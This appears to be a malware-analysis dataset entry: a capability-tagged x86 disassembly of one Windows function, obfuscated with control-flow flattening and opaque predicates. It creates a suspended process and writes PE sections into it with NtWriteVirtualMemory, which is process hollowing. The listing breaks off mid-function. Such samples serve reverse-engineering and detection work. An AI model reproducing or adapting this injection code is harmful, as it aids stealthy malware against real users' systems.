Function at 0x10008bc0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14c
mov eax, dword [0x1006f800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10070b28]
mov eax, dword [0x10070b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x14e], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x14d], al
mov dword [ebp - 0x154], 0x3beddd23
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x158], eax
sub eax, 0x80186be5
je 0x1000f358
jmp 0x10008c33
mov eax, dword [ebp - 0x158]
sub eax, 0x80bb061a
je 0x1000d7c0
jmp 0x10008c49
mov eax, dword [ebp - 0x158]
sub eax, 0x8121340c
je 0x1000ea07
jmp 0x10008c5f
mov eax, dword [ebp - 0x158]
sub eax, 0x814c2f95
je 0x1000c744
jmp 0x10008c75
mov eax, dword [ebp - 0x158]
sub eax, 0x81dcd2d0
je 0x1000cf6f
jmp 0x10008c8b
mov eax, dword [ebp - 0x158]
sub eax, 0x81e3367e
je 0x1000fda3
jmp 0x10008ca1
mov eax, dword [ebp - 0x158]
sub eax, 0x8221b730
je 0x1000bbae
jmp 0x10008cb7
mov eax, dword [ebp - 0x158]
sub eax, 0x83d06b20
je 0x1000af78
jmp 0x10008ccd
mov eax, dword [ebp - 0x158]
sub eax, 0x83f67ab7
je 0x1000f6ab
jmp 0x10008ce3
mov eax, dword [ebp - 0x158]
sub eax, 0x844ad128
je 0x1000ef55
jmp 0x10008cf9
mov eax, dword [ebp - 0x158]
sub eax, 0x845fd36a
je 0x1000b8f3
jmp 0x10008d0f
mov eax, dword [ebp - 0x158]
sub eax, 0x8499666a
je 0x1000e950
jmp 0x10008d25
mov eax, dword [ebp - 0x158]
sub eax, 0x85d4cd6c
je 0x1000ba8f
jmp 0x10008d3b
mov eax, dword [ebp - 0x158]
sub eax, 0x85eb40a3
je 0x1000ba9e
jmp 0x10008d51
mov eax, dword [ebp - 0x158]
sub eax, 0x8b9e7568
je 0x1000cfe5
jmp 0x10008d67
mov eax, dword [ebp - 0x158]
sub eax, 0x8bcda5af
je 0x1000fce0
jmp 0x10008d7d
mov eax, dword [ebp - 0x158]
sub eax, 0x8d993d72
je 0x1000d52c
jmp 0x10008d93
mov eax, dword [ebp - 0x158]
sub eax, 0x8dc0e93e
je 0x1000d097
jmp 0x10008da9
mov eax, dword [ebp - 0x158]
sub eax, 0x8f3434af
je 0x1000b1fb
jmp 0x10008dbf
mov eax, dword [ebp - 0x158]
sub eax, 0x90e796e4
je 0x1000b27c
jmp 0x10008dd5
mov eax, dword [ebp - 0x158]
sub eax, 0x916eca93
je 0x1000fb35
jmp 0x10008deb
mov eax, dword [ebp - 0x158]
sub eax, 0x9248e7ae
je 0x1000ed9a
jmp 0x10008e01
mov eax, dword [ebp - 0x158]
sub eax, 0x928380d0
je 0x1000e0cb
jmp 0x10008e17
mov eax, dword [ebp - 0x158]
sub eax, 0x92edf4ed
je 0x1000cc4a
jmp 0x10008e2d
mov eax, dword [ebp - 0x158]
sub eax, 0x9355232c
je 0x1000d2ae
jmp 0x10008e43
mov eax, dword [ebp - 0x158]
sub eax, 0x943fccca
je 0x1000b7cc
jmp 0x10008e59
mov eax, dword [ebp - 0x158]
sub eax, 0x9523394b
je 0x1000dab3
jmp 0x10008e6f
mov eax, dword [ebp - 0x158]
sub eax, 0x952d2f86
je 0x1000cac6
jmp 0x10008e85
mov eax, dword [ebp - 0x158]
sub eax, 0x95d257da
je 0x1000abdb
jmp 0x10008e9b
mov eax, dword [ebp - 0x158]
sub eax, 0x9634f386
je 0x1000fa4d
jmp 0x10008eb1
mov eax, dword [ebp - 0x158]
sub eax, 0x9acae09c
je 0x1000ed49
jmp 0x10008ec7
mov eax, dword [ebp - 0x158]
sub eax, 0x9b197b0a
je 0x1000ff49
jmp 0x10008edd
mov eax, dword [ebp - 0x158]
sub eax, 0x9b27008c
je 0x1000dbea
jmp 0x10008ef3
mov eax, dword [ebp - 0x158]
sub eax, 0x9bc60a08
je 0x1000df7c
jmp 0x10008f09
mov eax, dword [ebp - 0x158]
sub eax, 0x9c7d0ef2
je 0x1000fcc2
jmp 0x10008f1f
mov eax, dword [ebp - 0x158]
sub eax, 0x9ce2a724
je 0x1000f055
jmp 0x10008f35
mov eax, dword [ebp - 0x158]
sub eax, 0x9d403efe
je 0x1000d4db
jmp 0x10008f4b
mov eax, dword [ebp - 0x158]
sub eax, 0x9e2cc2ea
je 0x1000f8df
jmp 0x10008f61
mov eax, dword [ebp - 0x158]
sub eax, 0x9e3f433a
je 0x1000f5ac
jmp 0x10008f77
mov eax, dword [ebp - 0x158]
sub eax, 0x9f3b64a9
je 0x1000ee17
jmp 0x10008f8d
mov eax, dword [ebp - 0x158]
sub eax, 0xa089e438
je 0x1000eace
jmp 0x10008fa3
mov eax, dword [ebp - 0x158]
sub eax, 0xa119c5cb
je 0x1000ff67
jmp 0x10008fb9
mov eax, dword [ebp - 0x158]
sub eax, 0xa2d44bb3
je 0x1000fef2
jmp 0x10008fcf
mov eax, dword [ebp - 0x158]
sub eax, 0xa48d40f8
je 0x1000e2fe
jmp 0x10008fe5
mov eax, dword [ebp - 0x158]
sub eax, 0xa48ea870
je 0x1000f971
jmp 0x10008ffb
mov eax, dword [ebp - 0x158]
sub eax, 0xa4d65c8a
je 0x1000f936
jmp 0x10009011
mov eax, dword [ebp - 0x158]
sub eax, 0xa50f92b0
je 0x1000aa2c
jmp 0x10009027
mov eax, dword [ebp - 0x158]
sub eax, 0xa52c61c8
je 0x1000b438
jmp 0x1000903d
mov eax, dword [ebp - 0x158]
sub eax, 0xa5c46f8c
je 0x1000c5a6
jmp 0x10009053
mov eax, dword [ebp - 0x158]
sub eax, 0xa693c0f9
je 0x1000def7
jmp 0x10009069
mov eax, dword [ebp - 0x158]
sub eax, 0xa6ab3863
je 0x1000b59c
jmp 0x1000907f
mov eax, dword [ebp - 0x158]
sub eax, 0xa791f195
je 0x1000cd9b
jmp 0x10009095
mov eax, dword [ebp - 0x158]
sub eax, 0xa9a8ac80
je 0x1000c11c
jmp 0x100090ab
mov eax, dword [ebp - 0x158]
sub eax, 0xa9f4932a
je 0x1000b756
jmp 0x100090c1
mov eax, dword [ebp - 0x158]
sub eax, 0xaa1bd154
je 0x1000fac1
jmp 0x100090d7
mov eax, dword [ebp - 0x158]
sub eax, 0xaa808c80
je 0x1000fd19
jmp 0x100090ed
mov eax, dword [ebp - 0x158]
sub eax, 0xab69665f
je 0x1000fcef
jmp 0x10009103
mov eax, dword [ebp - 0x158]
sub eax, 0xabd3c31c
je 0x1000c6ce
jmp 0x10009119
mov eax, dword [ebp - 0x158]
sub eax, 0xac756996
je 0x1000c362
jmp 0x1000912f
mov eax, dword [ebp - 0x158]
sub eax, 0xb01e9cc6
je 0x1000bec2
jmp 0x10009145
mov eax, dword [ebp - 0x158]
sub eax, 0xb2842530
je 0x1000ab49
jmp 0x1000915b
mov eax, dword [ebp - 0x158]
sub eax, 0xb2ca8f4b
je 0x1000ee08
jmp 0x10009171
mov eax, dword [ebp - 0x158]
sub eax, 0xb3988dd0
je 0x1000d818
jmp 0x10009187
mov eax, dword [ebp - 0x158]
sub eax, 0xb481c48b
je 0x1000fc12
jmp 0x1000919d
mov eax, dword [ebp - 0x158]
sub eax, 0xb4cc9ac8
je 0x1000e7f1
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0x154], 0x6bab0b7d
jmp 0x100100d9
mov eax, dword [0x10070b28]
mov ecx, dword [0x10070b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1984423e
mov ecx, 0xc7be3ddb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov dword [ebp - 0xd0], eax
mov ecx, dword [0x10070b28]
mov eax, dword [0x10070b24]
mov edx, ecx
sub edx, 0x7cb492b2
sub edx, 1
add edx, 0x7cb492b2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4ee3c088
mov ecx, 0x1a9324de
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov ecx, dword [0x10070b28]
mov eax, dword [0x10070b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe81868c3
mov ecx, 0x2717f8e9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov dword [ebp - 0x154], 0xf56fae9a
jmp 0x100100d9
mov ecx, dword [0x10070b28]
mov eax, dword [0x10070b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa48ea870
mov ecx, 0x366c799c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov ecx, dword [0x10070b28]
mov eax, dword [0x10070b24]
mov edx, ecx
add edx, 0xa5481cf
sub edx, 1
sub edx, 0xa5481cf
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x26f7cd3d
mov ecx, 0xde34331c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov dword [ebp - 0x154], 0xbe752aeb
jmp 0x100100d9
mov ecx, dword [0x10070b28]
mov eax, dword [0x10070b24]
mov edx, ecx
sub edx, 0x1fc5e509
sub edx, 1
add edx, 0x1fc5e509
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbd45df67
mov ecx, 0x943fccca
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov ecx, dword [0x10070b28]
mov eax, dword [0x10070b24]
mov edx, ecx
add edx, 0x222a2c5b
sub edx, 1
sub edx, 0x222a2c5b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7e5986a3
mov ecx, 0x9f02ed
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov ecx, dword [0x10070b28]
mov eax, dword [0x10070b24]
mov edx, ecx
sub edx, 0x71465d79
sub edx, 1
add edx, 0x71465d79
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdd70a0a6
mov ecx, 0xef7a3aba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov dword [ebp - 0x154], 0x85eb40a3
jmp 0x100100d9
mov eax, dword [0x10070b28]
mov ecx, dword [0x10070b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe1e8aab0
mov ecx, 0xe9813d10
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x138]
mov edx, dword [ebp - 0xb0]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xa9], al
mov eax, dword [0x10070b28]
mov ecx, dword [0x10070b24]
mov edx, eax
add edx, 0xd987393d
sub edx, 1
sub edx, 0xd987393d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x417937fb
mov ecx, 0x23bcf30d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov ecx, dword [0x10070b28]
mov eax, dword [0x10070b24]
mov edx, ecx
add edx, 0xbddecd3f
sub edx, 1
sub edx, 0xbddecd3f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbf7d1e4c
mov ecx, 0x3a019de9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov eax, dword [0x10070b28]
mov ecx, dword [0x10070b24]
mov edx, eax
add edx, 0x8c97a573
sub edx, 1
sub edx, 0x8c97a573
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x75702131
mov ecx, 0xd1dbda5f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 0x9c]
add ecx, eax
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov dword [eax], 0
mov eax, dword [0x10070b28]
mov ecx, dword [0x10070b24]
mov edx, eax
add edx, 0x74f12e96
sub edx, 1
sub edx, 0x74f12e96
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaa1bd154
mov ecx, 0xc959c678
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov eax, dword [ebp - 0x94]
movzx ecx, word [eax + 6]
mov eax, dword [ebp - 0x98]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x8d], al
mov ecx, dword [0x10070b28]
mov eax, dword [0x10070b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x716b40df
mov ecx, 0xda0105d4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov ecx, dword [0x10070b28]
mov eax, dword [0x10070b24]
mov edx, ecx
sub edx, 0x6a3f4b09
sub edx, 1
add edx, 0x6a3f4b09
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xceda2657
mov ecx, 0x814c2f95
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov eax, dword [ebp - 0x14c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov edx, dword [ebp - 0x114]
imul edx, dword [edx], 0x28
add eax, edx
mov edx, dword [eax + 0x14]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x128]
mov edx, dword [eax]
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov esi, dword [ebp - 0x114]
imul esi, dword [esi], 0x28
add eax, esi
mov esi, dword [eax + 0xc]
xor eax, eax
sub eax, esi
sub edx, eax
mov eax, dword [ebp - 0x13c]
mov esi, dword [eax]
mov eax, dword [ebp - 0x8c]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov ecx, dword [0x10070b28]
mov eax, dword [0x10070b24]
mov edx, ecx
add edx, 0xa1dd572d
sub edx, 1
sub edx, 0xa1dd572d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xceda2657
mov ecx, 0x40816a86
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov dword [ebp - 0x154], 0x19d77f90
jmp 0x100100d9
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x108]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x14c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x118]
mov edx, dword [edx]
mov esi, dword [ebp - 0x108]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0x14]
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, esi
add edx, ecx
xor ecx, ecx
sub ecx, edx
mov edx, dword [ebp - 0x128]
mov edx, dword [edx]
mov esi, dword [ebp - 0x118]
mov esi, dword [esi]
mov edi, dword [ebp - 0x108]
imul edi, dword [edi], 0x28
add esi, edi
mov esi, dword [esi + 0xc]
add edx, 0x32f3ec57
add edx, esi
sub edx, 0x32f3ec57
mov esi, dword [ebp - 0x13c]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x20
mov dword [ebp - 0x80], eax
mov eax, dword [0x10070b28]
mov ecx, dword [0x10070b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x11c21d45
mov ecx, 0xe82ea288
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov eax, dword [0x10070b28]
mov ecx, dword [0x10070b24]
mov edx, eax
sub edx, 0xbfa002e7
sub edx, 1
add edx, 0xbfa002e7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3153d416
mov ecx, 0xc2291794
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov ecx, dword [0x10070b28]
mov eax, dword [0x10070b24]
mov edx, ecx
add edx, 0xd1993c48
sub edx, 1
sub edx, 0xd1993c48
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6a638653
mov ecx, 0x8b9e7568
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x108]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x74], eax
mov eax, dword [0x10070b28]
mov ecx, dword [0x10070b24]
mov edx, eax
sub edx, 0xcf4d1403
sub edx, 1
add edx, 0xcf4d1403
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6a638653
mov ecx, 0x1f56030d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x118]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x108]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x108]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x154], 0x1aa10f88
jmp 0x100100d9
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov dword [ebp - 0x154], 0x3c1fa298
jmp 0x100100d9
mov eax, dword [0x10070b28]
mov ecx, dword [0x10070b24]
mov edx, eax
sub edx, 0xfbfdd8be
sub edx, 1
add edx, 0xfbfdd8be
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6a4dc782
mov ecx, 0x8d993d72
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov dword [ebp - 0x154], 0x3f33dee2
jmp 0x100100d9
mov edx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x144]
mov esi, dword [eax]
mov eax, 0x2076ad19
mov ecx, 0xfb301978
cmp edx, dword [esi + 0x34]
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov dl, byte [ebp - 0x59]
mov eax, 0x4ddb268a
mov ecx, 0x26b20f3e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov eax, dword [ebp - 0xfc]
mov esi, dword [eax]
mov edx, dword [ebp - 0x50]
mov eax, 0xf6f4a8ae
mov ecx, 0x110e0a91
cmp edx, esi
cmovb eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov eax, dword [0x10070b28]
mov ecx, dword [0x10070b24]
mov edx, eax
add edx, 0x9427dca7
sub edx, 1
sub edx, 0x9427dca7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaa808c80
mov ecx, 0x76abcb1b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov dword [ebp - 0x154], 0xd1ec756d
jmp 0x100100d9
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x38], eax
mov eax, dword [0x10070b28]
mov ecx, dword [0x10070b24]
mov edx, eax
add edx, 0x11f1cbc6
sub edx, 1
sub edx, 0x11f1cbc6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc4302434
mov ecx, 0x775be146
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov eax, dword [ebp - 0x144]
mov edx, dword [eax]
mov eax, 0xe6eda917
mov ecx, 0xb7fc620b
cmp dword [edx + 0xc4], 0
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov edx, dword [ebp - 0x24]
mov eax, 0x75f9be58
mov ecx, 0x20a33e4f
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov ecx, dword [0x10070b28]
mov eax, dword [0x10070b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x28d2a1ab
mov ecx, 0x44bd9459
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov eax, dword [0x10070b28]
mov ecx, dword [0x10070b24]
mov edx, eax
add edx, 0x76fc8a31
sub edx, 1
sub edx, 0x76fc8a31
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3ed9b2d3
mov ecx, 0xd0a29395
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x14], eax
mov eax, dword [0x10070b28]
mov ecx, dword [0x10070b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x67657e79
mov ecx, 0x19c9631
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100100d9
mov eax, dword [0x10070b28]
mov ecx, dword [0x10070b24]
mov edx, eax
sub edx, 0xf02acd53
sub edx, 1
add edx, 0xf02acd53
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
